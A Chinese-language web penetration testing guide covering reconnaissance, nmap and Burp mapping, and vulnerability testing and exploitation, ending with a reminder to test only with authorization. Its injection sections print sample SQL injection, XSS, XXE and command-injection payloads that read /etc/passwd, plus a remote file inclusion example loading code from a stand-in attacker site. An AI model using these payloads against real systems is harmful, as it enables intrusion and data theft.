Web渗透测试笔记
字数 2439 2025-08-29 08:32:19
Web渗透测试全面指南
0x00 前言
本指南详细介绍了Web应用程序渗透测试的完整流程和方法,涵盖从信息收集到漏洞利用的全过程。文档基于先知社区发布的《Web渗透测试笔记》整理而成,包含了大量实用的工具和技术。
0x01 信息收集
1. 目标确认
工具推荐:
Whois:查询域名注册信息Dig:DNS信息查询工具DNSRecon:自动化DNS枚举脚本
操作步骤:
-
域名注册信息查询:
whois example.com dig +short example.com whois [IP地址] -
DNS信息查询:
- 使用dnsdumpster.com在线工具
- 正向查询:
dig +nocmd example.com A +noall +answer dig +nocmd example.com NS +noall +answer dig +nocmd example.com MX +noall +answer - 反向查询:
dig -x 104.27.179.12
-
测试域传送漏洞:
dig -t AXFR zonetransfer.me @nsztm1.digi.ninja dnsrecon -d example.com
2. OSINT公开情报收集
推荐工具:
- Recon-NG:公开情报工具框架
- Maltego:数据挖掘和关联分析工具
- theHarvester:收集邮箱、子域名等信息
资源推荐:
- Michael Bazzell的OSINT资源:https://inteltechniques.com
- Google Dorking技术:https://www.exploit-db.com/google-hacking-database/
0x02 Mapping(应用映射)
1. 端口扫描与服务识别
Nmap常用命令:
nmap 192.168.100.2 # 扫描前1000端口
nmap -sP 192.168.100.0-7 # Ping扫描
nmap -p 80,443 192.168.100.2 # 指定端口扫描
sudo nmap -A 192.168.100.2 # 全面扫描(OS指纹+服务识别)
sudo nmap -sU -p- 192.168.100.2 # 全UDP端口扫描
2. 浏览器代理设置
Firefox推荐插件:
- User Agent Switcher:快速切换用户代理
- Wappalyzer:检测网站技术栈
- FoxyProxy:代理切换插件
Burp Suite配置:
- 设置Firefox代理:127.0.0.1:8080
- 导入Burp的SSL证书
- 配置Burp扫描速度为"thorough"
Burp扩展推荐:
- Retire.js:检测过时的JavaScript组件
- Wsdler:解析WSDL文件并测试方法
- Python Scripter:执行自定义Python脚本
3. 应用映射方法
-
人工浏览:
- 访问每个页面,点击所有链接
- 特别关注单页应用(SPA)的AJAX请求
-
自动化爬取:
- 使用Burp Spider补充手工浏览
- 建议手工浏览80-95%内容,仅少量使用爬虫
-
后续分析:
- 记录Web服务器、技术栈、框架等信息
- 特别关注关键功能点(如支付、密码重置等)
0x03 漏洞挖掘
1. 内容挖掘
工具推荐:
- Nikto:Web服务漏洞扫描器
nikto -h http://example.com -output ~/nikto.html -Format htm
2. 强制浏览技术
工具与方法:
- 使用Burp的"Discover Content"工具
- 使用Burp Intruder进行字典攻击
- 利用FuzzDB提供的字典资源
3. 测试可选内容
- 使用User Agent Switcher切换不同UA
- 模糊测试User-Agent和Referer头
- 使用FuzzDB字典进行测试
4. 自动化漏洞扫描
- 先运行Burp Passive Scanner
- 分析结果后运行Active Scanner
- 注意扫描可能对生产环境造成影响
5. 配置检查
-
默认配置检查:
- 检查示例应用/默认页面
- 测试默认凭证
-
错误配置检查:
- 关注错误信息泄露
- 检查密码字段的自动填充问题
6. 身份认证测试
-
登录表单分析:
- 检查是否有双重认证、验证码等
- 测试SSL/TLS配置
-
模糊登录测试:
- 使用CeWL生成字典:
cewl [options] www.example.com - 使用Burp Intruder进行爆破(Cluster Bomb模式)
- 使用CeWL生成字典:
7. Session管理测试
-
Session Token分析:
- 使用Burp Sequencer测试随机性
- 收集约10000个token进行分析
- 检查Set-Cookie头的Secure和HttpOnly标志
-
Session劫持测试:
- 搜索Session token看是否可预测
8. 授权测试
- 权限控制测试:
- 注册不同权限账户
- 使用Burp的"Compare Site Maps"比较访问差异
9. 数据验证测试
注入类型与测试方法:
-
SQL注入:
' OR 1=1 -- admin';-- http://example.com/product.php?id=10 AND 1=1工具:SQLMap
-
XSS测试:
<IMG SRC=javascript:alert('XSS')> "><script>alert('XSS')</script> -
XML注入:
Username = foo<!-- -
XXE注入:
<!ENTITY xxe SYSTEM "file:///etc/passwd"> -
模板注入:
<%= 7 * 7 %> {{ 7 * 7 }} -
命令注入:
;cat /etc/passwd |dir c:\ -
文件包含:
- LFI:
preview.php?file=etc/passwd - RFI:
vuln_page.php?file=http://attacker_site/malicous_page
- LFI:
10. 逻辑漏洞测试
- 测试非正常业务流程
- 输入不切实际的值
- 测试非法文件上传
11. 加密算法测试
工具:
sslyze --regular www.example.com
检查项:
- 加密协议版本(TLS 1.2+)
- 弱加密算法(MD5, RC4等)
- 正向加密支持
12. 拒绝服务测试
- 测试大文件上传
- 测试账户锁定机制
- 识别响应缓慢的接口
13. Flash漏洞分析
工具:
- JPEXS FFDec:SWF反汇编工具
- Firefox开发者工具
方法:
- 下载Flash文件
- 反编译分析源代码
- 寻找隐藏漏洞
0x04 Web服务测试
1. REST服务测试
方法:
- 阅读API文档(如有)
- 拦截分析JSON请求/响应
- 测试常见漏洞(SQLi/XSS等)
参考资源:
- OWASP REST评估备忘单
2. SOAP服务测试
工具:
- Wsdler(Burp扩展)
步骤:
- 查找WSDL文件(如/service)
- 使用Wsdler解析WSDL
- 发送测试请求分析响应
0x05 漏洞利用
1. XSS利用
工具:
- BeEF:XSS利用框架
方法:
- 构造XSS payload
- 使用BeEF控制受害者浏览器
2. SQL注入利用
工具:
- SQLMap:自动化SQL注入工具
利用场景:
- 数据提取
- 离线密码爆破(使用Hashcat)
- 认证绕过:
admin' -- admin' or '1'='1
3. CSRF利用
Burp功能:
- Generate CSRF PoC
步骤:
- 拦截目标请求
- 生成CSRF PoC
- 验证漏洞有效性
0x06 总结
本指南涵盖了Web渗透测试的全流程,从信息收集到漏洞利用。关键点包括:
- 全面的信息收集是成功渗透的基础
- 细致的应用映射能发现隐藏功能
- 多种漏洞测试方法需结合使用
- 自动化工具与手工测试相辅相成
- 漏洞利用要考虑实际影响
记住渗透测试是迭代过程,发现新信息后可能需要重新评估之前的步骤。始终确保获得授权后再进行测试。